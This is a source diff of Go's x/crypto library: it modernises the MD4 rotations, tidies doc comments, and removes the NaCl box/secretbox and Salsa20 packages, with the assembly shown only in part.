// h₊ = (h + m) * r mod 2¹³⁰ - 5
//
// If the msg length is not a multiple of TagSize, it assumes the last
// incomplete chunk is the final one.
@@ -278,8 +278,7 @@ const (
// finalize completes the modular reduction of h and computes
//
// out = h + s mod 2¹²⁸
//
// out = h + s mod 2¹²⁸
func finalize(out *[TagSize]byte, h *[3]uint64, s *[2]uint64) {
h0, h1, h2 := h[0], h[1], h[2]
+1
View File
@@ -14,6 +14,7 @@ import (
// updateVX is an assembly implementation of Poly1305 that uses vector
// instructions. It must only be called if the vector facility (vx) is
// available.
//
//go:noescape
func updateVX(state *macState, msg []byte)
+8 -6
View File
@@ -8,9 +8,11 @@
package md4
var shift1 = []uint{3, 7, 11, 19}
var shift2 = []uint{3, 5, 9, 13}
var shift3 = []uint{3, 9, 11, 15}
import "math/bits"
var shift1 = []int{3, 7, 11, 19}
var shift2 = []int{3, 5, 9, 13}
var shift3 = []int{3, 9, 11, 15}
var xIndex2 = []uint{0, 4, 8, 12, 1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15}
var xIndex3 = []uint{0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15}
@@ -48,7 +50,7 @@ func _Block(dig *digest, p []byte) int {
s := shift1[i%4]
f := ((c ^ d) & b) ^ d
a += f + X[x]
a = a<<s | a>>(32-s)
a = bits.RotateLeft32(a, s)
a, b, c, d = d, a, b, c
}
@@ -58,7 +60,7 @@ func _Block(dig *digest, p []byte) int {
s := shift2[i%4]
g := (b & c) | (b & d) | (c & d)
a += g + X[x] + 0x5a827999
a = a<<s | a>>(32-s)
a = bits.RotateLeft32(a, s)
a, b, c, d = d, a, b, c
}
@@ -68,7 +70,7 @@ func _Block(dig *digest, p []byte) int {
s := shift3[i%4]
h := b ^ c ^ d
a += h + X[x] + 0x6ed9eba1
a = a<<s | a>>(32-s)
a = bits.RotateLeft32(a, s)
a, b, c, d = d, a, b, c
}
-182
View File
@@ -1,182 +0,0 @@
// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
/*
Package box authenticates and encrypts small messages using public-key cryptography.
Box uses Curve25519, XSalsa20 and Poly1305 to encrypt and authenticate
messages. The length of messages is not hidden.
It is the caller's responsibility to ensure the uniqueness of nonces—for
example, by using nonce 1 for the first message, nonce 2 for the second
message, etc. Nonces are long enough that randomly generated nonces have
negligible risk of collision.
Messages should be small because:
1. The whole message needs to be held in memory to be processed.
2. Using large messages pressures implementations on small machines to decrypt
and process plaintext before authenticating it. This is very dangerous, and
this API does not allow it, but a protocol that uses excessive message sizes
might present some implementations with no other choice.
3. Fixed overheads will be sufficiently amortised by messages as small as 8KB.
4. Performance may be improved by working with messages that fit into data caches.
Thus large amounts of data should be chunked so that each message is small.
(Each message still needs a unique nonce.) If in doubt, 16KB is a reasonable
chunk size.
This package is interoperable with NaCl: https://nacl.cr.yp.to/box.html.
Anonymous sealing/opening is an extension of NaCl defined by and interoperable
with libsodium:
https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes.
*/
package box // import "golang.org/x/crypto/nacl/box"
import (
cryptorand "crypto/rand"
"io"
"golang.org/x/crypto/blake2b"
"golang.org/x/crypto/curve25519"
"golang.org/x/crypto/nacl/secretbox"
"golang.org/x/crypto/salsa20/salsa"
)
const (
// Overhead is the number of bytes of overhead when boxing a message.
Overhead = secretbox.Overhead
// AnonymousOverhead is the number of bytes of overhead when using anonymous
// sealed boxes.
AnonymousOverhead = Overhead + 32
)
// GenerateKey generates a new public/private key pair suitable for use with
// Seal and Open.
func GenerateKey(rand io.Reader) (publicKey, privateKey *[32]byte, err error) {
publicKey = new([32]byte)
privateKey = new([32]byte)
_, err = io.ReadFull(rand, privateKey[:])
if err != nil {
publicKey = nil
privateKey = nil
return
}
curve25519.ScalarBaseMult(publicKey, privateKey)
return
}
var zeros [16]byte
// Precompute calculates the shared key between peersPublicKey and privateKey
// and writes it to sharedKey. The shared key can be used with
// OpenAfterPrecomputation and SealAfterPrecomputation to speed up processing
// when using the same pair of keys repeatedly.
func Precompute(sharedKey, peersPublicKey, privateKey *[32]byte) {
curve25519.ScalarMult(sharedKey, privateKey, peersPublicKey)
salsa.HSalsa20(sharedKey, &zeros, sharedKey, &salsa.Sigma)
}
// Seal appends an encrypted and authenticated copy of message to out, which
// will be Overhead bytes longer than the original and must not overlap it. The
// nonce must be unique for each distinct message for a given pair of keys.
func Seal(out, message []byte, nonce *[24]byte, peersPublicKey, privateKey *[32]byte) []byte {
var sharedKey [32]byte
Precompute(&sharedKey, peersPublicKey, privateKey)
return secretbox.Seal(out, message, nonce, &sharedKey)
}
// SealAfterPrecomputation performs the same actions as Seal, but takes a
// shared key as generated by Precompute.
func SealAfterPrecomputation(out, message []byte, nonce *[24]byte, sharedKey *[32]byte) []byte {
return secretbox.Seal(out, message, nonce, sharedKey)
}
// Open authenticates and decrypts a box produced by Seal and appends the
// message to out, which must not overlap box. The output will be Overhead
// bytes smaller than box.
func Open(out, box []byte, nonce *[24]byte, peersPublicKey, privateKey *[32]byte) ([]byte, bool) {
var sharedKey [32]byte
Precompute(&sharedKey, peersPublicKey, privateKey)
return secretbox.Open(out, box, nonce, &sharedKey)
}
// OpenAfterPrecomputation performs the same actions as Open, but takes a
// shared key as generated by Precompute.
func OpenAfterPrecomputation(out, box []byte, nonce *[24]byte, sharedKey *[32]byte) ([]byte, bool) {
return secretbox.Open(out, box, nonce, sharedKey)
}
// SealAnonymous appends an encrypted and authenticated copy of message to out,
// which will be AnonymousOverhead bytes longer than the original and must not
// overlap it. This differs from Seal in that the sender is not required to
// provide a private key.
func SealAnonymous(out, message []byte, recipient *[32]byte, rand io.Reader) ([]byte, error) {
if rand == nil {
rand = cryptorand.Reader
}
ephemeralPub, ephemeralPriv, err := GenerateKey(rand)
if err != nil {
return nil, err
}
var nonce [24]byte
if err := sealNonce(ephemeralPub, recipient, &nonce); err != nil {
return nil, err
}
if total := len(out) + AnonymousOverhead + len(message); cap(out) < total {
original := out
out = make([]byte, 0, total)
out = append(out, original...)
}
out = append(out, ephemeralPub[:]...)
return Seal(out, message, &nonce, recipient, ephemeralPriv), nil
}
// OpenAnonymous authenticates and decrypts a box produced by SealAnonymous and
// appends the message to out, which must not overlap box. The output will be
// AnonymousOverhead bytes smaller than box.
func OpenAnonymous(out, box []byte, publicKey, privateKey *[32]byte) (message []byte, ok bool) {
if len(box) < AnonymousOverhead {
return nil, false
}
var ephemeralPub [32]byte
copy(ephemeralPub[:], box[:32])
var nonce [24]byte
if err := sealNonce(&ephemeralPub, publicKey, &nonce); err != nil {
return nil, false
}
return Open(out, box[32:], &nonce, &ephemeralPub, privateKey)
}
// sealNonce generates a 24 byte nonce that is a blake2b digest of the
// ephemeral public key and the receiver's public key.
func sealNonce(ephemeralPub, peersPublicKey *[32]byte, nonce *[24]byte) error {
h, err := blake2b.New(24, nil)
if err != nil {
return err
}
if _, err = h.Write(ephemeralPub[:]); err != nil {
return err
}
if _, err = h.Write(peersPublicKey[:]); err != nil {
return err
}
h.Sum(nonce[:0])
return nil
}
-173
View File
@@ -1,173 +0,0 @@
// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
/*
Package secretbox encrypts and authenticates small messages.
Secretbox uses XSalsa20 and Poly1305 to encrypt and authenticate messages with
secret-key cryptography. The length of messages is not hidden.
It is the caller's responsibility to ensure the uniqueness of nonces—for
example, by using nonce 1 for the first message, nonce 2 for the second
message, etc. Nonces are long enough that randomly generated nonces have
negligible risk of collision.
Messages should be small because:
1. The whole message needs to be held in memory to be processed.
2. Using large messages pressures implementations on small machines to decrypt
and process plaintext before authenticating it. This is very dangerous, and
this API does not allow it, but a protocol that uses excessive message sizes
might present some implementations with no other choice.
3. Fixed overheads will be sufficiently amortised by messages as small as 8KB.
4. Performance may be improved by working with messages that fit into data caches.
Thus large amounts of data should be chunked so that each message is small.
(Each message still needs a unique nonce.) If in doubt, 16KB is a reasonable
chunk size.
This package is interoperable with NaCl: https://nacl.cr.yp.to/secretbox.html.
*/
package secretbox // import "golang.org/x/crypto/nacl/secretbox"
import (
"golang.org/x/crypto/internal/poly1305"
"golang.org/x/crypto/internal/subtle"
"golang.org/x/crypto/salsa20/salsa"
)
// Overhead is the number of bytes of overhead when boxing a message.
const Overhead = poly1305.TagSize
// setup produces a sub-key and Salsa20 counter given a nonce and key.
func setup(subKey *[32]byte, counter *[16]byte, nonce *[24]byte, key *[32]byte) {
// We use XSalsa20 for encryption so first we need to generate a
// key and nonce with HSalsa20.
var hNonce [16]byte
copy(hNonce[:], nonce[:])
salsa.HSalsa20(subKey, &hNonce, key, &salsa.Sigma)
// The final 8 bytes of the original nonce form the new nonce.
copy(counter[:], nonce[16:])
}
// sliceForAppend takes a slice and a requested number of bytes. It returns a
// slice with the contents of the given slice followed by that many bytes and a
// second slice that aliases into it and contains only the extra bytes. If the
// original slice has sufficient capacity then no allocation is performed.
func sliceForAppend(in []byte, n int) (head, tail []byte) {
if total := len(in) + n; cap(in) >= total {
head = in[:total]
} else {
head = make([]byte, total)
copy(head, in)
}
tail = head[len(in):]
return
}
// Seal appends an encrypted and authenticated copy of message to out, which
// must not overlap message. The key and nonce pair must be unique for each
// distinct message and the output will be Overhead bytes longer than message.
func Seal(out, message []byte, nonce *[24]byte, key *[32]byte) []byte {
var subKey [32]byte
var counter [16]byte
setup(&subKey, &counter, nonce, key)
// The Poly1305 key is generated by encrypting 32 bytes of zeros. Since
// Salsa20 works with 64-byte blocks, we also generate 32 bytes of
// keystream as a side effect.
var firstBlock [64]byte
salsa.XORKeyStream(firstBlock[:], firstBlock[:], &counter, &subKey)
var poly1305Key [32]byte
copy(poly1305Key[:], firstBlock[:])
ret, out := sliceForAppend(out, len(message)+poly1305.TagSize)
if subtle.AnyOverlap(out, message) {
panic("nacl: invalid buffer overlap")
}
// We XOR up to 32 bytes of message with the keystream generated from
// the first block.
firstMessageBlock := message
if len(firstMessageBlock) > 32 {
firstMessageBlock = firstMessageBlock[:32]
}
tagOut := out
out = out[poly1305.TagSize:]
for i, x := range firstMessageBlock {
out[i] = firstBlock[32+i] ^ x
}
message = message[len(firstMessageBlock):]
ciphertext := out
out = out[len(firstMessageBlock):]
// Now encrypt the rest.
counter[8] = 1
salsa.XORKeyStream(out, message, &counter, &subKey)
var tag [poly1305.TagSize]byte
poly1305.Sum(&tag, ciphertext, &poly1305Key)
copy(tagOut, tag[:])
return ret
}
// Open authenticates and decrypts a box produced by Seal and appends the
// message to out, which must not overlap box. The output will be Overhead
// bytes smaller than box.
func Open(out, box []byte, nonce *[24]byte, key *[32]byte) ([]byte, bool) {
if len(box) < Overhead {
return nil, false
}
var subKey [32]byte
var counter [16]byte
setup(&subKey, &counter, nonce, key)
// The Poly1305 key is generated by encrypting 32 bytes of zeros. Since
// Salsa20 works with 64-byte blocks, we also generate 32 bytes of
// keystream as a side effect.
var firstBlock [64]byte
salsa.XORKeyStream(firstBlock[:], firstBlock[:], &counter, &subKey)
var poly1305Key [32]byte
copy(poly1305Key[:], firstBlock[:])
var tag [poly1305.TagSize]byte
copy(tag[:], box)
if !poly1305.Verify(&tag, box[poly1305.TagSize:], &poly1305Key) {
return nil, false
}
ret, out := sliceForAppend(out, len(box)-Overhead)
if subtle.AnyOverlap(out, box) {
panic("nacl: invalid buffer overlap")
}
// We XOR up to 32 bytes of box with the keystream generated from
// the first block.
box = box[Overhead:]
firstMessageBlock := box
if len(firstMessageBlock) > 32 {
firstMessageBlock = firstMessageBlock[:32]
}
for i, x := range firstMessageBlock {
out[i] = firstBlock[32+i] ^ x
}
box = box[len(firstMessageBlock):]
out = out[len(firstMessageBlock):]
// Now decrypt the rest.
counter[8] = 1
salsa.XORKeyStream(out, box, &counter, &subKey)
return ret, true
}
+1 -1
View File
@@ -32,7 +32,7 @@ import (
// can get a derived key for e.g. AES-256 (which needs a 32-byte key) by
// doing:
//
// dk := pbkdf2.Key([]byte("some password"), salt, 4096, 32, sha1.New)
// dk := pbkdf2.Key([]byte("some password"), salt, 4096, 32, sha1.New)
//
// Remember to get a good random salt. At least 8 bytes is recommended by the
// RFC.
-144
View File
@@ -1,144 +0,0 @@
// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package salsa provides low-level access to functions in the Salsa family.
package salsa // import "golang.org/x/crypto/salsa20/salsa"
// Sigma is the Salsa20 constant for 256-bit keys.
var Sigma = [16]byte{'e', 'x', 'p', 'a', 'n', 'd', ' ', '3', '2', '-', 'b', 'y', 't', 'e', ' ', 'k'}
// HSalsa20 applies the HSalsa20 core function to a 16-byte input in, 32-byte
// key k, and 16-byte constant c, and puts the result into the 32-byte array
// out.
func HSalsa20(out *[32]byte, in *[16]byte, k *[32]byte, c *[16]byte) {
x0 := uint32(c[0]) | uint32(c[1])<<8 | uint32(c[2])<<16 | uint32(c[3])<<24
x1 := uint32(k[0]) | uint32(k[1])<<8 | uint32(k[2])<<16 | uint32(k[3])<<24
x2 := uint32(k[4]) | uint32(k[5])<<8 | uint32(k[6])<<16 | uint32(k[7])<<24
x3 := uint32(k[8]) | uint32(k[9])<<8 | uint32(k[10])<<16 | uint32(k[11])<<24
x4 := uint32(k[12]) | uint32(k[13])<<8 | uint32(k[14])<<16 | uint32(k[15])<<24
x5 := uint32(c[4]) | uint32(c[5])<<8 | uint32(c[6])<<16 | uint32(c[7])<<24
x6 := uint32(in[0]) | uint32(in[1])<<8 | uint32(in[2])<<16 | uint32(in[3])<<24
x7 := uint32(in[4]) | uint32(in[5])<<8 | uint32(in[6])<<16 | uint32(in[7])<<24
x8 := uint32(in[8]) | uint32(in[9])<<8 | uint32(in[10])<<16 | uint32(in[11])<<24
x9 := uint32(in[12]) | uint32(in[13])<<8 | uint32(in[14])<<16 | uint32(in[15])<<24
x10 := uint32(c[8]) | uint32(c[9])<<8 | uint32(c[10])<<16 | uint32(c[11])<<24
x11 := uint32(k[16]) | uint32(k[17])<<8 | uint32(k[18])<<16 | uint32(k[19])<<24
x12 := uint32(k[20]) | uint32(k[21])<<8 | uint32(k[22])<<16 | uint32(k[23])<<24
x13 := uint32(k[24]) | uint32(k[25])<<8 | uint32(k[26])<<16 | uint32(k[27])<<24
x14 := uint32(k[28]) | uint32(k[29])<<8 | uint32(k[30])<<16 | uint32(k[31])<<24
x15 := uint32(c[12]) | uint32(c[13])<<8 | uint32(c[14])<<16 | uint32(c[15])<<24
for i := 0; i < 20; i += 2 {
u := x0 + x12
x4 ^= u<<7 | u>>(32-7)
u = x4 + x0
x8 ^= u<<9 | u>>(32-9)
u = x8 + x4
x12 ^= u<<13 | u>>(32-13)
u = x12 + x8
x0 ^= u<<18 | u>>(32-18)
u = x5 + x1
x9 ^= u<<7 | u>>(32-7)
u = x9 + x5
x13 ^= u<<9 | u>>(32-9)
u = x13 + x9
x1 ^= u<<13 | u>>(32-13)
u = x1 + x13
x5 ^= u<<18 | u>>(32-18)
u = x10 + x6
x14 ^= u<<7 | u>>(32-7)
u = x14 + x10
x2 ^= u<<9 | u>>(32-9)
u = x2 + x14
x6 ^= u<<13 | u>>(32-13)
u = x6 + x2
x10 ^= u<<18 | u>>(32-18)
u = x15 + x11
x3 ^= u<<7 | u>>(32-7)
u = x3 + x15
x7 ^= u<<9 | u>>(32-9)
u = x7 + x3
x11 ^= u<<13 | u>>(32-13)
u = x11 + x7
x15 ^= u<<18 | u>>(32-18)
u = x0 + x3
x1 ^= u<<7 | u>>(32-7)
u = x1 + x0
x2 ^= u<<9 | u>>(32-9)
u = x2 + x1
x3 ^= u<<13 | u>>(32-13)
u = x3 + x2
x0 ^= u<<18 | u>>(32-18)
u = x5 + x4
x6 ^= u<<7 | u>>(32-7)
u = x6 + x5
x7 ^= u<<9 | u>>(32-9)
u = x7 + x6
x4 ^= u<<13 | u>>(32-13)
u = x4 + x7
x5 ^= u<<18 | u>>(32-18)
u = x10 + x9
x11 ^= u<<7 | u>>(32-7)
u = x11 + x10
x8 ^= u<<9 | u>>(32-9)
u = x8 + x11
x9 ^= u<<13 | u>>(32-13)
u = x9 + x8
x10 ^= u<<18 | u>>(32-18)
u = x15 + x14
x12 ^= u<<7 | u>>(32-7)
u = x12 + x15
x13 ^= u<<9 | u>>(32-9)
u = x13 + x12
x14 ^= u<<13 | u>>(32-13)
u = x14 + x13
x15 ^= u<<18 | u>>(32-18)
}
out[0] = byte(x0)
out[1] = byte(x0 >> 8)
out[2] = byte(x0 >> 16)
out[3] = byte(x0 >> 24)
out[4] = byte(x5)
out[5] = byte(x5 >> 8)
out[6] = byte(x5 >> 16)
out[7] = byte(x5 >> 24)
out[8] = byte(x10)
out[9] = byte(x10 >> 8)
out[10] = byte(x10 >> 16)
out[11] = byte(x10 >> 24)
out[12] = byte(x15)
out[13] = byte(x15 >> 8)
out[14] = byte(x15 >> 16)
out[15] = byte(x15 >> 24)
out[16] = byte(x6)
out[17] = byte(x6 >> 8)
out[18] = byte(x6 >> 16)
out[19] = byte(x6 >> 24)
out[20] = byte(x7)
out[21] = byte(x7 >> 8)
out[22] = byte(x7 >> 16)
out[23] = byte(x7 >> 24)
out[24] = byte(x8)
out[25] = byte(x8 >> 8)
out[26] = byte(x8 >> 16)
out[27] = byte(x8 >> 24)
out[28] = byte(x9)
out[29] = byte(x9 >> 8)
out[30] = byte(x9 >> 16)
out[31] = byte(x9 >> 24)
}
-199
View File
@@ -1,199 +0,0 @@
// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package salsa
// Core208 applies the Salsa20/8 core function to the 64-byte array in and puts
// the result into the 64-byte array out. The input and output may be the same array.
func Core208(out *[64]byte, in *[64]byte) {
j0 := uint32(in[0]) | uint32(in[1])<<8 | uint32(in[2])<<16 | uint32(in[3])<<24
j1 := uint32(in[4]) | uint32(in[5])<<8 | uint32(in[6])<<16 | uint32(in[7])<<24
j2 := uint32(in[8]) | uint32(in[9])<<8 | uint32(in[10])<<16 | uint32(in[11])<<24
j3 := uint32(in[12]) | uint32(in[13])<<8 | uint32(in[14])<<16 | uint32(in[15])<<24
j4 := uint32(in[16]) | uint32(in[17])<<8 | uint32(in[18])<<16 | uint32(in[19])<<24
j5 := uint32(in[20]) | uint32(in[21])<<8 | uint32(in[22])<<16 | uint32(in[23])<<24
j6 := uint32(in[24]) | uint32(in[25])<<8 | uint32(in[26])<<16 | uint32(in[27])<<24
j7 := uint32(in[28]) | uint32(in[29])<<8 | uint32(in[30])<<16 | uint32(in[31])<<24
j8 := uint32(in[32]) | uint32(in[33])<<8 | uint32(in[34])<<16 | uint32(in[35])<<24
j9 := uint32(in[36]) | uint32(in[37])<<8 | uint32(in[38])<<16 | uint32(in[39])<<24
j10 := uint32(in[40]) | uint32(in[41])<<8 | uint32(in[42])<<16 | uint32(in[43])<<24
j11 := uint32(in[44]) | uint32(in[45])<<8 | uint32(in[46])<<16 | uint32(in[47])<<24
j12 := uint32(in[48]) | uint32(in[49])<<8 | uint32(in[50])<<16 | uint32(in[51])<<24
j13 := uint32(in[52]) | uint32(in[53])<<8 | uint32(in[54])<<16 | uint32(in[55])<<24
j14 := uint32(in[56]) | uint32(in[57])<<8 | uint32(in[58])<<16 | uint32(in[59])<<24
j15 := uint32(in[60]) | uint32(in[61])<<8 | uint32(in[62])<<16 | uint32(in[63])<<24
x0, x1, x2, x3, x4, x5, x6, x7, x8 := j0, j1, j2, j3, j4, j5, j6, j7, j8
x9, x10, x11, x12, x13, x14, x15 := j9, j10, j11, j12, j13, j14, j15
for i := 0; i < 8; i += 2 {
u := x0 + x12
x4 ^= u<<7 | u>>(32-7)
u = x4 + x0
x8 ^= u<<9 | u>>(32-9)
u = x8 + x4
x12 ^= u<<13 | u>>(32-13)
u = x12 + x8
x0 ^= u<<18 | u>>(32-18)
u = x5 + x1
x9 ^= u<<7 | u>>(32-7)
u = x9 + x5
x13 ^= u<<9 | u>>(32-9)
u = x13 + x9
x1 ^= u<<13 | u>>(32-13)
u = x1 + x13
x5 ^= u<<18 | u>>(32-18)
u = x10 + x6
x14 ^= u<<7 | u>>(32-7)
u = x14 + x10
x2 ^= u<<9 | u>>(32-9)
u = x2 + x14
x6 ^= u<<13 | u>>(32-13)
u = x6 + x2
x10 ^= u<<18 | u>>(32-18)
u = x15 + x11
x3 ^= u<<7 | u>>(32-7)
u = x3 + x15
x7 ^= u<<9 | u>>(32-9)
u = x7 + x3
x11 ^= u<<13 | u>>(32-13)
u = x11 + x7
x15 ^= u<<18 | u>>(32-18)
u = x0 + x3
x1 ^= u<<7 | u>>(32-7)
u = x1 + x0
x2 ^= u<<9 | u>>(32-9)
u = x2 + x1
x3 ^= u<<13 | u>>(32-13)
u = x3 + x2
x0 ^= u<<18 | u>>(32-18)
u = x5 + x4
x6 ^= u<<7 | u>>(32-7)
u = x6 + x5
x7 ^= u<<9 | u>>(32-9)
u = x7 + x6
x4 ^= u<<13 | u>>(32-13)
u = x4 + x7
x5 ^= u<<18 | u>>(32-18)
u = x10 + x9
x11 ^= u<<7 | u>>(32-7)
u = x11 + x10
x8 ^= u<<9 | u>>(32-9)
u = x8 + x11
x9 ^= u<<13 | u>>(32-13)
u = x9 + x8
x10 ^= u<<18 | u>>(32-18)
u = x15 + x14
x12 ^= u<<7 | u>>(32-7)
u = x12 + x15
x13 ^= u<<9 | u>>(32-9)
u = x13 + x12
x14 ^= u<<13 | u>>(32-13)
u = x14 + x13
x15 ^= u<<18 | u>>(32-18)
}
x0 += j0
x1 += j1
x2 += j2
x3 += j3
x4 += j4
x5 += j5
x6 += j6
x7 += j7
x8 += j8
x9 += j9
x10 += j10
x11 += j11
x12 += j12
x13 += j13
x14 += j14
x15 += j15
out[0] = byte(x0)
out[1] = byte(x0 >> 8)
out[2] = byte(x0 >> 16)
out[3] = byte(x0 >> 24)
out[4] = byte(x1)
out[5] = byte(x1 >> 8)
out[6] = byte(x1 >> 16)
out[7] = byte(x1 >> 24)
out[8] = byte(x2)
out[9] = byte(x2 >> 8)
out[10] = byte(x2 >> 16)
out[11] = byte(x2 >> 24)
out[12] = byte(x3)
out[13] = byte(x3 >> 8)
out[14] = byte(x3 >> 16)
out[15] = byte(x3 >> 24)
out[16] = byte(x4)
out[17] = byte(x4 >> 8)
out[18] = byte(x4 >> 16)
out[19] = byte(x4 >> 24)
out[20] = byte(x5)
out[21] = byte(x5 >> 8)
out[22] = byte(x5 >> 16)
out[23] = byte(x5 >> 24)
out[24] = byte(x6)
out[25] = byte(x6 >> 8)
out[26] = byte(x6 >> 16)
out[27] = byte(x6 >> 24)
out[28] = byte(x7)
out[29] = byte(x7 >> 8)
out[30] = byte(x7 >> 16)
out[31] = byte(x7 >> 24)
out[32] = byte(x8)
out[33] = byte(x8 >> 8)
out[34] = byte(x8 >> 16)
out[35] = byte(x8 >> 24)
out[36] = byte(x9)
out[37] = byte(x9 >> 8)
out[38] = byte(x9 >> 16)
out[39] = byte(x9 >> 24)
out[40] = byte(x10)
out[41] = byte(x10 >> 8)
out[42] = byte(x10 >> 16)
out[43] = byte(x10 >> 24)
out[44] = byte(x11)
out[45] = byte(x11 >> 8)
out[46] = byte(x11 >> 16)
out[47] = byte(x11 >> 24)
out[48] = byte(x12)
out[49] = byte(x12 >> 8)
out[50] = byte(x12 >> 16)
out[51] = byte(x12 >> 24)
out[52] = byte(x13)
out[53] = byte(x13 >> 8)
out[54] = byte(x13 >> 16)
out[55] = byte(x13 >> 24)
out[56] = byte(x14)
out[57] = byte(x14 >> 8)
out[58] = byte(x14 >> 16)
out[59] = byte(x14 >> 24)
out[60] = byte(x15)
out[61] = byte(x15 >> 8)
out[62] = byte(x15 >> 16)
out[63] = byte(x15 >> 24)
}
-24
View File
@@ -1,24 +0,0 @@
// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
//go:build amd64 && !purego && gc
// +build amd64,!purego,gc
package salsa
//go:noescape
// salsa2020XORKeyStream is implemented in salsa20_amd64.s.
func salsa2020XORKeyStream(out, in *byte, n uint64, nonce, key *byte)
// XORKeyStream crypts bytes from in to out using the given key and counters.
// In and out must overlap entirely or not at all. Counter
// contains the raw salsa20 counter bytes (both nonce and block counter).
func XORKeyStream(out, in []byte, counter *[16]byte, key *[32]byte) {
if len(in) == 0 {
return
}
_ = out[len(in)-1]
salsa2020XORKeyStream(&out[0], &in[0], uint64(len(in)), &counter[0], &key[0])
}
-881
View File
@@ -1,881 +0,0 @@
// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
//go:build amd64 && !purego && gc
// +build amd64,!purego,gc
// This code was translated into a form compatible with 6a from the public
// domain sources in SUPERCOP: https://bench.cr.yp.to/supercop.html
// func salsa2020XORKeyStream(out, in *byte, n uint64, nonce, key *byte)
// This needs up to 64 bytes at 360(R12); hence the non-obvious frame size.
TEXT ·salsa2020XORKeyStream(SB),0,$456-40 // frame = 424 + 32 byte alignment
MOVQ out+0(FP),DI
MOVQ in+8(FP),SI
MOVQ n+16(FP),DX
MOVQ nonce+24(FP),CX
MOVQ key+32(FP),R8
MOVQ SP,R12
ADDQ $31, R12
ANDQ $~31, R12
MOVQ DX,R9
MOVQ CX,DX
MOVQ R8,R10
CMPQ R9,$0
JBE DONE
START:
MOVL 20(R10),CX
MOVL 0(R10),R8
MOVL 0(DX),AX
MOVL 16(R10),R11
MOVL CX,0(R12)
MOVL R8, 4 (R12)
MOVL AX, 8 (R12)
MOVL R11, 12 (R12)
MOVL 8(DX),CX
MOVL 24(R10),R8
MOVL 4(R10),AX
MOVL 4(DX),R11
MOVL CX,16(R12)
MOVL R8, 20 (R12)
MOVL AX, 24 (R12)
MOVL R11, 28 (R12)
MOVL 12(DX),CX
MOVL 12(R10),DX
MOVL 28(R10),R8
MOVL 8(R10),AX
MOVL DX,32(R12)
MOVL CX, 36 (R12)
MOVL R8, 40 (R12)
MOVL AX, 44 (R12)
MOVQ $1634760805,DX
MOVQ $857760878,CX
MOVQ $2036477234,R8
MOVQ $1797285236,AX
MOVL DX,48(R12)
MOVL CX, 52 (R12)
MOVL R8, 56 (R12)
MOVL AX, 60 (R12)
CMPQ R9,$256
JB BYTESBETWEEN1AND255
MOVOA 48(R12),X0
PSHUFL $0X55,X0,X1
PSHUFL $0XAA,X0,X2
PSHUFL $0XFF,X0,X3
PSHUFL $0X00,X0,X0
MOVOA X1,64(R12)
MOVOA X2,80(R12)
MOVOA X3,96(R12)
MOVOA X0,112(R12)
MOVOA 0(R12),X0
PSHUFL $0XAA,X0,X1
PSHUFL $0XFF,X0,X2
PSHUFL $0X00,X0,X3
PSHUFL $0X55,X0,X0
MOVOA X1,128(R12)
MOVOA X2,144(R12)
MOVOA X3,160(R12)
MOVOA X0,176(R12)
MOVOA 16(R12),X0
PSHUFL $0XFF,X0,X1
PSHUFL $0X55,X0,X2
PSHUFL $0XAA,X0,X0
MOVOA X1,192(R12)
MOVOA X2,208(R12)
MOVOA X0,224(R12)
MOVOA 32(R12),X0
PSHUFL $0X00,X0,X1
PSHUFL $0XAA,X0,X2
PSHUFL $0XFF,X0,X0
MOVOA X1,240(R12)
MOVOA X2,256(R12)
MOVOA X0,272(R12)
BYTESATLEAST256:
MOVL 16(R12),DX
MOVL 36 (R12),CX
MOVL DX,288(R12)
MOVL CX,304(R12)
SHLQ $32,CX
ADDQ CX,DX
ADDQ $1,DX
MOVQ DX,CX
SHRQ $32,CX
MOVL DX, 292 (R12)
MOVL CX, 308 (R12)
ADDQ $1,DX
MOVQ DX,CX
SHRQ $32,CX
MOVL DX, 296 (R12)
MOVL CX, 312 (R12)
ADDQ $1,DX
MOVQ DX,CX
SHRQ $32,CX
MOVL DX, 300 (R12)
MOVL CX, 316 (R12)
ADDQ $1,DX
MOVQ DX,CX
SHRQ $32,CX
MOVL DX,16(R12)
MOVL CX, 36 (R12)
MOVQ R9,352(R12)
MOVQ $20,DX
MOVOA 64(R12),X0
MOVOA 80(R12),X1
MOVOA 96(R12),X2
MOVOA 256(R12),X3
MOVOA 272(R12),X4
MOVOA 128(R12),X5
MOVOA 144(R12),X6
MOVOA 176(R12),X7
MOVOA 192(R12),X8
MOVOA 208(R12),X9
MOVOA 224(R12),X10
MOVOA 304(R12),X11
MOVOA 112(R12),X12
MOVOA 160(R12),X13
MOVOA 240(R12),X14
MOVOA 288(R12),X15
MAINLOOP1:
MOVOA X1,320(R12)
MOVOA X2,336(R12)
MOVOA X13,X1
PADDL X12,X1
MOVOA X1,X2
PSLLL $7,X1
PXOR X1,X14
PSRLL $25,X2
PXOR X2,X14
MOVOA X7,X1
PADDL X0,X1
MOVOA X1,X2
PSLLL $7,X1
PXOR X1,X11
PSRLL $25,X2
PXOR X2,X11
MOVOA X12,X1
PADDL X14,X1
MOVOA X1,X2
PSLLL $9,X1
PXOR X1,X15
PSRLL $23,X2
PXOR X2,X15
MOVOA X0,X1
PADDL X11,X1
MOVOA X1,X2
PSLLL $9,X1
PXOR X1,X9
PSRLL $23,X2
PXOR X2,X9
MOVOA X14,X1
PADDL X15,X1
MOVOA X1,X2
PSLLL $13,X1
PXOR X1,X13
PSRLL $19,X2
PXOR X2,X13
MOVOA X11,X1
PADDL X9,X1
MOVOA X1,X2
PSLLL $13,X1
PXOR X1,X7
PSRLL $19,X2
PXOR X2,X7
MOVOA X15,X1
PADDL X13,X1
MOVOA X1,X2
PSLLL $18,X1
PXOR X1,X12
PSRLL $14,X2
PXOR X2,X12
MOVOA 320(R12),X1
MOVOA X12,320(R12)
MOVOA X9,X2
PADDL X7,X2
